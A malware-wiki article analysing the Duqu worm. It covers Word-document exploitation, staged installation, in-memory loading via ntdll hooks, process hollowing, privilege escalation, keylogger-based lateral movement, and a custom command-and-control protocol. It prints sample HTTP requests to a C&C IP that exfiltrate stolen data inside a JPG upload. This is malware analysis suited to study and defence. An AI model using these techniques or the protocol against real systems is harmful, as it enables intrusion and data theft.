malwarewikiaorg-20200223-history
Duqu
Duqu is a worm that runs on Microsoft Windows. It is similar to Stuxnet. Behavior Duqu looks for information that could be useful in attacking industrial control systems. Its purpose is not to be destructive, the known components are trying to gather information. Payload Transmission Duqu arrives using a specially crafted, Microsoft Word document. The Word document contained a currently undisclosed 0-day kernel exploit that allows the attackers to install Duqu onto the computer unbeknownst to the user. The full installation process for Duqu is quite involved and lengthy. To illustrate the installation process as simply as possible it can be divided into 2 parts: the exploit shellcode and the installer. When Duqu first compromises a target network, the threat contacts a C&C server. One of the files downloaded by Duqu from the C&C server is a keylogger. This keylogger enables the attacker to intercept passwords for the local network and any other services accessed by the victim. Additional files downloaded from the C&C server allow the attacker to survey the local network, finding additional network servers and clients. When the attacker has accumulated passwords and located various computers of interest on the local network, he or she can then begin the process of spreading Duqu across the network. The first step is to copy Duqu onto the target computer over a shared folder. The infecting computer is able to authenticate to the target by using the credentials intercepted by the keylogger. The next step is to trigger execution of that copied sample on the target computer. This is done by creating a scheduled task on the target computer, which executes the copied version of Duqu. Infection When the Word document is opened, the exploit is triggered. The exploit contains kernel mode shellcode, which will first check if the computer is already compromised by looking for the registry value HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\“CF1D”. If the computer has already been compromsed, the shellcode gracefully exits. If the computer has not been infected, the shellcode decrypts two executable files from within the Word document: a driver file and installer DLL. The shellcode then passes execution to the extracted driver file, which injects code into services.exe, as defined by the installer configuration file. The code then executes the installer DLL. Finally, the shellcode will replace itself with zeros, wiping itself from memory. Once the driver file has passed control to the installer DLL, the installer proceeds to decrypt three files from within itself: Duqu’s main DLL, a .sys driver file that is the load point that starts Duqu after a reboot, and a installer configuration file. The main DLL and driver file are the only components that will be left on the system after installation has completed, along with a different configuration file discussed later. The installer configuration file has two timestamps inside representing the timeframe window for installation. The installer will terminate if executed outside this time window. If the date falls within the timeframe, the installer DLL then passes execution to Duqu’s main DLL by hooking ntdll.dll in the same manner as Stuxnet. Installation continues from inside Duqu’s main DLL. The main DLL component has eight exports. The installation is handled by exports 4 and 5. Additional export functionality is discussed in the Main DLL section. Export 4 is responsible for finding an appropriate process to inject into, injecting the main DLL (itself) into this process and passing along a pointer to the three decrypted files. Export 5 is the actual installation routine. Export 5 drops the load point driver into the %System%\Drivers\ folder with a name defined by the installation configuration file. Next, a service is created so the driver is loaded every time Windows starts. The main DLL is encrypted and placed in the %Windir%\inf\ folder with a name defined by the installation configuration file. This file will be decrypted and executed by the driver when the computer starts. The final step of the installation phase involves the main DLL reading a configuration file from within itself, encrypting it, and placing it in the %Windir%\inf\ folder as well. When the installation phase is completed there are just three files left on the disk: the driver, the encrypted main DLL (which will be decrypted by the driver), and the encrypted main DLL configuration file. The entire installation process is quite involved. During the process seven different files are decrypted, at least three processes are injected into, and ntdll.dll is hooked multiple times to allow dynamic loading of decrypted components into memory. In fact, during the entire process every part of Duqu resides decrypted only in memory. Only one unencrypted file, the load-point driver, is ever written to the disk during the entire process. Duqu was clearly designed to minimize detectable footprints left on the disk. Duqu has a payload loader called Resource 302. It can load the payload into memory and execute it in several different ways. The payload is included in the .zdata section of resource 302. The .zdata section is compressed and consists of the payload DLL, a configuration file containing C&C information, and a second DLL, which contains similar code to that found at the start of resource 302 itself. The main function of resource 302 is to load a file into memory. Which file to load is not configurable, but instead is hardcoded into the payload file that is stored in the .zdata section. We refer to this main function as LoadFile. Note that functionality also exists to allow the loading of a direct memory buffer, but is not utilized. LoadFile can be called as follows: LoadFile ( LoadMethod , ProcessName, String ); Resource 302 has 12 exports. The majority of these exports call the LoadFile function, though each export calls it with different hardcoded parameters: *Export 1: LoadFile( 0 , 0 , 0) *Export 2: LoadFile( 1, 0 , 0) *Export 4: LoadFile( 1, 0 , 0) *Export 5: LoadFile( 1, 0 , 0) *Export 7: LoadFile( 1, 0 , arg0) *Export 10: LoadFile( 3 , “iexplore.exe” , 0 ) *Export 11: LoadFile( 3 , “explorer.exe” , 0 ) *Export 12: LoadFile( 2 , “explorer.exe” , 0 ) *Export 13: Run in svchost *Export 14: Load the second DLL in the .zdata section, and call export 16 *Export 15: LoadFile( 3 , “svchost.exe” , 0 ) *Export 16: Inject payload in the default browser and elevate privileges Duqu has 4 methods of loading. Method 0 involves reading ntdll.dll from memory and hooking the following functions: *ZwQueryAttriutesFile *ZwCloseFile • ZwOpen *ZwMapViewOfSection *ZwCreateSection *ZwQuerySection These functions are replaced with new functions that monitor for the file name sortRANDOM.nls. When LoadLibrary is called with that file name, these replacement functions that are called by LoadLibrary will load the DLL from a buffer in memory, rather than from the disk. In this way the payload can be loaded like a regular file on disk, even though it does not exist on the disk (when searching for the file, it will not be found). In Method 1, a template executable is decoded from inside the loader. The template is an executable that will load a DLL from a buffer and call a specified export from the loaded DLL. The loader populates the template with the correct memory offsets so that it can find the payload and launch it. A chosen process is overwritten (it can be one of a list of processes, the default name is svchost.exe). The chosen process is created in suspended mode and then is overwritten with the template executable. Then the process is resumed and the template runs, loading the DLL and executing the specified export under the name of a legitimate process. Method 2 is similar to Method 1, using the template-loading technique. However, Method 2 attempts to elevate privileges before executing the template executable. It can use several different techniques to do this. First it attempts to gain the following privileges: *SeDebugPrivilege *SeAssignPrimaryTokenPrivilege *SeCreateTokenPrivilege If this is sufficient the threat uses these to create the template process, as in Method 1. If the threat still does not have sufficient access, then it will call the following APIs to try to elevate its privileges further: *GetKernelObjectSecurity *GetSEcurityDescriptorDACL *BuildExplicitAccessWithName *MakeAbsoluteSD *SetEntriesinACLW *SetSecurityDescriptorDACL *SetKernelObjectSecurity If it is able to create the process after this, it proceeds. Otherwise it will try to gain the following privileges: *SeTcbPrivilege *SeAssignPrimaryTokenPrivilege” *SeIncreaseQuotaPrivilege *SeImpersonatePrivilege Then the threat attempts to duplicate a token before using that token in a call to CreateProcessAsUser. Method 3 must be supplied by a process name that is already running. This method also uses the template executable to execute the payload DLL and will try to use the last technique (mentioned above) to elevate privileges also. The .zdata section contains the final payload DLL and its associated configuration data. The .zdata payload DLL is decompressed and loaded by the resource 302 DLL, the payload loader. The purpose of the .zdata DLL is command and control functionality, which allows downloading and executing updates and additional payload modules. The command and control protocol is a custom protocol using one of the following methods: *Encapsulated in HTTP over port 80 *Encapsulated in HTTP over port 80 using a proxy (may be authenticated) *Directly over port 443 *Encapsulated in HTTPS over port 443 *Encapsulated in SMB primarily for peer-to-peer command and control To function properly, it expects a blob of data (.zdata) with the structure. The template is an executable file with an empty loader component which may be used by the module to load and execute other modules, potentially downloaded through the command and control server. Typically, the configuration will contain client information blocks specifying the port, server, and encapsulation protocol to use. The configuration file can contain multiple client information blocks, allowing Duqu to try multiple, different C&C servers or protocols. Clients may be configured to contact other compromised computers. These computers will then proxy the traffic to the C&C server. If the system is to be used as a proxy, the configuration file will contain server information blocks. These specify what port to listen on and what encapsulation protocol to use. The command and control functionality can download new executables and either execute them directly in memory or write them to disk. When written to disk, they are saved encrypted using a file name defined in the configuration data. Typical filenames are %Temp%\~VARIABLE.tmp. When using HTTP, the client sends repeated GET requests to the server. The server replies with modules to execute. To return data, Duqu uses a POST and sends a small blank JPG file appended with the data to send to the server. When using HTTPS, the same happens, except within an encrypted HTTPS session. The HTTP and HTTPS protocol only encapsulate another Duqu-specific custom protocol. When sending traffic directly to port 443 or named pipes, no encapsulation is used and the Duqu protocol traffic is sent directly with the addition of eight initial bytes, which is a validation key. The Duqu command and control protocol is a reliable transport protocol, similar in features to TCP. The command and control protocol implements fragmentation, reordering, and handles duplicate and missing packets via sequence and ACK numbers. The data stream consists of a 12-byte header starting with the ASCII characters ‘SH’. The header is followed by data chunks, which are assigned sequence and ACK numbers. These data chunks can be encrypted using AESCBS, compressed using LZO, and further compressed using a secondary, custom algorithm. The following specifies the format of the network packets. 00 BYTE12 header, semi-fixed, starts with ‘SH’ 0C BYTE type of payload 0D DWORD payload size (n) 11 DWORD sequence number 15 DWORD ack number / total size 19 DWORD unknown 1D BYTEn payload (encrypted, or encoded) The AES key is hardcoded within the sample and differs with each variant. However this key is never sent to the server. This means the server must guess which key the client is using. This is feasible because of the small number of infections and the correlation of each variant with different C&C servers. The IV is exchanged in plaintext when the communication begins. An example of the protocol works as follows. First an initial HTTPS exchange occurs, as defined by the first connection information block configuration data. For HTTPS, Duqu uses the Windows WinHTTP APIs, which has SSL support. The server uses a self-signed certificate that may change frequently or via automation. If the HTTPS exchange fails, the next connection information block is used, which may specify that HTTP encapsulation should be used. An HTTP GET request to the root directory will occur using standard socket APIs. --- GET / HTTP/1.1 Cookie: PHPSESSID=spwkwq1mtuomg0g6h30jj203j3 Cache-Control: no-cache Pragma: no-cache User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729) Host: 206.183.111.97 Connection: Keep-Alive --- Note that the custom cookie field is unique for every request. This field is validated by the server and the client; otherwise the data is discarded. The server replies with an HTTP 200 OK response, containing a small 54x54 white JPG file. --- HTTP/1.1 200 OK Content-Type: image/jpeg Transfer-Encoding: chunked Connection: Close --- The module expects certain fields and it parses the response for them. It only continues if they are found. It then makes a second HTTP POST request, uploading a default .jpg file that is embedded within the .zdata DLL, followed by data to send to the command and control server. --- POST / HTTP/1.1 Cookie: PHPSESSID=spwkwq1tnsam0gg6hj0i3jg20h Cache-Control: no-cache Pragma: no-cache Content-Type: multipart/form-data; boundary=---------------------------b1824763588154 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729) Host: 206.183.111.97 Content-Length: 1802 Connection: Keep-Alive ---------------------------b1824763588154 Content-Disposition: form-data; name=”DSC00001.jpg” Content-Type: image/jpeg JPEG AND STOLEN DATA --- The server then acknowledges with: --- HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 0 --- The data following the JPG is encrypted and compressed data that the client wishes to send to the command and control server. The C&C server’s primary function is to deliver new executables to be executed directly in memory or on the disk. When files are saved to the disk, using a file name defined in the configuration file, they are saved only in an AES-encrypted format and decrypted when loaded. In addition, downloaded modules can instruct the creation of a new payload loader (Resource 302) using the Resource 302 template embedded inside. The code of the payload loader remains the same, but the embedded configuration file can be modified. The peer-to-peer protocol is not configured by default for use, but has been seen configured for use in cases where a computer cannot reach the external C&C server. The attackers set a byte in the configuration file to one, and instead of specifying an external IP address, provide the IP address or string representing a remote resource (e.g. \\RemoteServerthat is a peer-infected computer. The peer-to-peer command and control protocol can use HTTP or IPC (Inter Process Communication) over SMB (Server Message Block), also known as Named Pipes. For named pipes, a newly infected computer will typically be configured to connect back to the infecting computer through \\COMPUTER\IPC$ using a predefined named pipe. The peer computer (which was previously the infecting computer) then proxies the C&C traffic to the external C&C server. When using named pipes, the peer-to-peer command and control protocol is the same one the original HTTP protocol used, except without the HTTP transaction headers. In either case no .jpg files are transferred. Category:Worm Category:Win32 worm Category:Win32 Category:Microsoft Windows